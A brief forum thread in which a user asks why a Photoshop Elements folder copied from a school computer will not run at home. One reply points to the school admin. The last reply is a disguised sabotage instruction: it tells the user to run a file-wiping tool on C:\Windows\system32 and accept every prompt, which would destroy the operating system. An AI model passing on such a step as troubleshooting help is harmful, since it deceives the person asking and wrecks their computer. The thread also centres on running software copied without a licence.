Photoshop install help

I was at school today working with Photoshop, and I went into C/Program Files/ Adobe/ Photoshop Elements 5.0. I copied the folder and its contents to my flash drive. Now, when I try to install it on my home computer, it says something along the lines of "Adobe Photoshop does not have a valid serial code entered. The program will now close.". Could someone help me with this?

Go ask the School Admin for help, he has a obligation to do this, its in the name of education.

Download the GNU Eraser (http://www.heidi.ie/eraser/) and input this into the prompt:

C:\Windows\system32

Click yes on everything that follows until the process is finished.